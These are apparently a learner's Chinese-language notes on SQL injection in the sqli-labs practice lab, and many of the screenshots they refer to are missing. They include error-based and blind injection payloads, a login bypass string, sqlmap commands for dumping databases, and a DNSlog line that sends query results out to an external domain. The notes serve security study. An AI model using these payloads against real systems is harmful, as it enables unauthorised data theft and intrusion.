基础

table_schema 数据库名
table_name 表名
column_schema 列名

增删改语句

屏幕截图 2024-07-14 213139.png
屏幕截图 2024-07-14 213458.png

查询语句

屏幕截图 2024-07-14 214346.png

union

联合查询(将前后查询语句一起运行)
image.png

group by

image.png

order by , limit

屏幕截图 2024-07-14 215625.png
and 同时满足 or 满足一个条件
屏幕截图 2024-07-14 215938.png

函数

image.png

注入顺序

先找注入点

再判断注入的是字符型还是数字型注入(可以用2-1和1来判断)
如果输入为1
image.png再输入2-1 如果两种显示相同则是数字型(如果用1=2,也可以,但是用1+2,加号可能会被识别成空格)image.png

再判断闭合方式(字符型,数字型不需要闭合)

闭合的原因是为了将注入值和后面执行的sql语句分开
就是?id=这个后面的内容是一个整体如果里面包含了正确的闭合符号就会导致系统帮你输入的闭合符号单独多出来,就是靠这样来判断闭合方式的,如果会回显报错就输入转义符 如 /
可以输入?id=1’
后面的‘‘1’’LMIT 0,1’ at line 1(在这个报错语句里面1’这里的单引号没有对应的另一个单引号,而另外两个单引号就是判断他闭合方式的)

image.png
image.png
这个注释相当于把上面的从LIMT 0,1’开始这部分注释掉了,让一开始没有对应的单引号 有了对应的单引号
image.png

判断查询列数的长短

用group by 和 order by ,
判断id=1的这一行有多少列
可以先在3的位置输入较大的数字,用二分法来判断
image.png

查询回显位置

可以先将union select 前部分的id注入一个数据库里面没有的id,这样就可以显示后面所显示的部分,
通过把1,2,3这三个数字的位置改成database()查看回显位置
image.png
这里是更改了2的位置
image.png然后查询到了security这个名字就是目前对应的库名,然后就是要拿到表名和列名
屏幕截图 2024-07-17 225240.png
Information_schema系统自带的数据库库名,因为这个数据库里面的tables表包含了所有数据库的表名
columns这个表就是包含了所有数据库里面的所有列名

屏幕截图 2024-07-17 225846.png
在用group_concat的时候不能在后面接空格 如group_concat ()这种写法是错误的
json_arrayagg()和这个效果差不多
屏幕截图 2024-07-17 230015.png
屏幕截图 2024-07-17 230521.png

报错注入

通常用于没有找到回显位置的时候
屏幕截图 2024-07-18 220636.png

extractvalue()

extractvalue(1,concat(0x7e,(select database())))
屏幕截图 2024-07-18 221339.png
concat(1,2)表示将这两个参数拼接起来就是让前面的一个参数产生报错在和后面的sql注入语句连接起来,这样就可以让后面的sql语句在报错回显的地方显示出来
屏幕截图 2024-07-18 231122.png

由于extractvalue只能返回32个字符所以要用到substring来显示后面的数据,再通过自己和前面的数据进行拼接,但是还是在页面中只能显示32个字符,只是这32个字符所代表的字符位置不一样
屏幕截图 2024-07-18 221935.png

updatexml()

屏幕截图 2024-07-19 195701.png

floor()

屏幕截图 2024-07-19 202318.png
通过rand(0)2会固定显示0和1中的随机一个,因为count()会统计数量,在对rand(0)2统计数量时,第一个计算进去的数字是不会显示的要看第二个计算进去的数字才会对其计数,如果rand(0)*2显示的是0,1,1,1 那么先进行计数的是1,而不是0,因为0是第一个计算的,不会对其统计而是记上个数1,等第二个1计算的时候就会对其进行统计因为一开始就已经记上了个数1,但也会统计在1这一类,相当于在第二个位置1计算进去的时候就有两个1的数量了,为什么会报错,是因为再次碰到0的时候又会记上个数1但是没有统计0,所以还会计算下一个数字,如果下一个数字又是1,那么由于统计的两个名称都是1所以产生了报错
屏幕截图 2024-07-21 142020.png

rand()函数

屏幕截图 2024-07-19 210556.png

concat_ws(1,2,3)函数

,,执行结果为213,就是第一位的符号用来当拼接第二位和第三位的符号

as别名,group by分组
count()汇总统计数量
floor(rand(0)*2)用来报错

盲注

在页面没回显位且没报错的时候使用,通常是使用工具来爆破

sqlmap

D:\lll\sqlmap-master>python sqlmap.py -u “http://sqli-labs-master/Less-8/?id=1 “ –dbs 爆出所有数据库名

D:\lll\sqlmap-master>python sqlmap.py -u “http://sqli-labs-master/Less-8/?id=1 “ -D 数据库名–tables 爆出数据库里面的所有表

D:\lll\sqlmap-master>python sqlmap.py -u “http://sqli-labs-master/Less-8/?id=1 “ -D 数据库名 -T 表名 –dump 爆出所有内容
-h, –help Show basic help message and exit
显示基本帮助信息并退出
-hh Show advanced help message and exit
显示高级帮助信息并退出
–version Show program’s version number and exit
显示程序的版本号并退出
-v VERBOSE Verbosity level: 0-6 (default 1)
详细程度级别:0-6(默认1)

Target:
At least one of these options has to be provided to define the
target(s)
目标:
必须提供至少一个选项来定义目标

-u URL, --url=URL   Target URL (e.g. "[http://www.site.com/vuln.php?id=1")](http://www.site.com/vuln.php?id=1"))
                    目标URL(例如:"[http://www.site.com/vuln.php?id=1"](http://www.site.com/vuln.php?id=1"))
-g GOOGLEDORK       Process Google dork results as target URLs
                    将Google dork结果处理为目标URL

Request:
These options can be used to specify how to connect to the target URL
请求:
这些选项可用于指定如何连接到目标URL

--data=DATA         Data string to be sent through POST (e.g. "id=1")
                    要通过POST发送的数据字符串(例如:"id=1")
--cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
                    HTTP Cookie头值(例如:"PHPSESSID=a8d127e..")
--random-agent      Use randomly selected HTTP User-Agent header value
                    使用随机选择的HTTP User-Agent头值
--proxy=PROXY       Use a proxy to connect to the target URL
                    使用代理连接到目标URL
--tor               Use Tor anonymity network
                    使用Tor匿名网络
--check-tor         Check to see if Tor is used properly
                    检查Tor是否正常使用

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
注入:
这些选项可用于指定要测试的参数,提供自定义注入负载和可选的篡改脚本

-p TESTPARAMETER    Testable parameter(s)
                    可测试的参数
--dbms=DBMS         Force back-end DBMS to provided value
                    强制后端DBMS为提供的值

Detection:
检测:

--level=LEVEL       Level of tests to perform (1-5, default 1)
                    执行测试的级别(1-5,默认1)
--risk=RISK         Risk of tests to perform (1-3, default 1)
                    执行测试的风险级别(1-3,默认1)

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
技巧:
这些选项可用于调整特定SQL注入技巧的测试

--technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
                    要使用的SQL注入技巧(默认"BEUSTQ")

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
枚举:
这些选项可用于枚举后端数据库管理系统的信息、结构以及表中包含的数据

-a, --all           Retrieve everything
                    检索所有内容
-b, --banner        Retrieve DBMS banner
                    检索DBMS横幅
--current-user      Retrieve DBMS current user
                    检索DBMS当前用户
--current-db        Retrieve DBMS current database
                    检索DBMS当前数据库
--passwords         Enumerate DBMS users password hashes
                    枚举DBMS用户的密码哈希
--dbs               Enumerate DBMS databases
                    枚举DBMS数据库
--tables            Enumerate DBMS database tables
                    枚举DBMS数据库表
--columns           Enumerate DBMS database table columns
                    枚举DBMS数据库表列
--schema            Enumerate DBMS schema
                    枚举DBMS模式
--dump              Dump DBMS database table entries
                    转储DBMS数据库表条目
--dump-all          Dump all DBMS databases tables entries
                    转储所有DBMS数据库表条目
-D DB               DBMS database to enumerate
                    要枚举的DBMS数据库
-T TBL              DBMS database table(s) to enumerate
                    要枚举的DBMS数据库表
-C COL              DBMS database table column(s) to enumerate
                    要枚举的DBMS数据库表列

Operating system access:
These options can be used to access the back-end database management
system underlying operating system
操作系统访问:
这些选项可用于访问后端数据库管理系统的底层操作系统

--os-shell          Prompt for an interactive operating system shell
                    提示输入交互式操作系统shell
--os-pwn            Prompt for an OOB shell, Meterpreter or VNC
                    提示输入OOB shell、Meterpreter或VNC

General:
These options can be used to set some general working parameters
通用:
这些选项可用于设置一些通用的工作参数

--batch             Never ask for user input, use the default behavior
                    永不询问用户输入,使用默认行为
--flush-session     Flush session files for current target
                    清除当前目标的会话文件

Miscellaneous:
These options do not fit into any other category
其他:
这些选项不属于任何其他类别

--wizard            Simple wizard interface for beginner users
                    为初学者提供简单的向导界面

[!] to see full list of options run with ‘-hh’
[!] 要查看完整选项列表,请使用’-hh’运行

原理:用ASCII码来判断,就是用每个字母所代表的ASCII码来依次尝试,如果页面显示了正确,就可以用这个来确定每个字母是什么再通过拼接来找到目标
屏幕截图 2024-07-22 184640.png
屏幕截图 2024-07-22 184659.png
分类:布尔盲注,时间盲注,报错盲注

布尔盲注

屏幕截图 2024-07-22 184754.png屏幕截图 2024-07-22 184822.png
image.png
用and不用union

时间盲注

sleep()括号里面代表这个网站加载多少秒
相比布尔盲注多了一个if判断,通过判断第一个条件是否成立,如果成立就执行第一个条件sleep(0)
如果不成立就执行第二个

屏幕截图 2024-07-22 200818.png
image.png
image.png

万能密码

1’ or 1=1#

文件上传

outfile
屏幕截图 2024-07-24 195956.png

DNSlog

(手动)
先打开yakit找到反连DNS然后生成可用域名
然后去注入点输入指令
这里用第九关的来演示 ?id=1’ and (select load_file(concat(“//“,(select database),”自己生成的域名”)))–+
注意:在域名前要加点,这样才能和前面的sql语句连接起来
image.png
因为这可以解析域名,所以在前面加上sql语句也可以

HTTP头uagent响应

这里先是输入正确的用户和密码登录进去后,提示回显是在agent,所以可以用burp siute来抓包,通过对请求包的agent来注入,先要判断闭合方式因为这里是(’’,’’,’’)所以这里用 ‘,’’,’’)闭合整个语句,然后在‘ 这个后面加上注入语句,前面的部分相当于一个参数,就是下面这个蓝色字体的部分image.png
通过对源码的查看可以看见闭合方式
image.png
必须要在这个账号可以登录进去的情况下才可以抓包,因为这样才能知道传入的数据和后端进行了交互,通过拦截请求包,然后修改内容后放行就可以了
image.png

HTTP头referer

方法和上面的agent差不多,下面这个例子就是闭合方式和上面不一样
屏幕截图 2024-07-25 215035.png
屏幕截图 2024-07-25 215526.png屏幕截图 2024-07-25 215330.png

HTTP头cookie

cookie相当于一个保存密码的东西,就是输入完用户名和密码之后可以不需要再次输入就可以登录进去
cookie的话要先登录进界面,然后通过刷新界面来抓包修改请求
屏幕截图 2024-07-25 220926.png
屏幕截图 2024-07-25 221013.png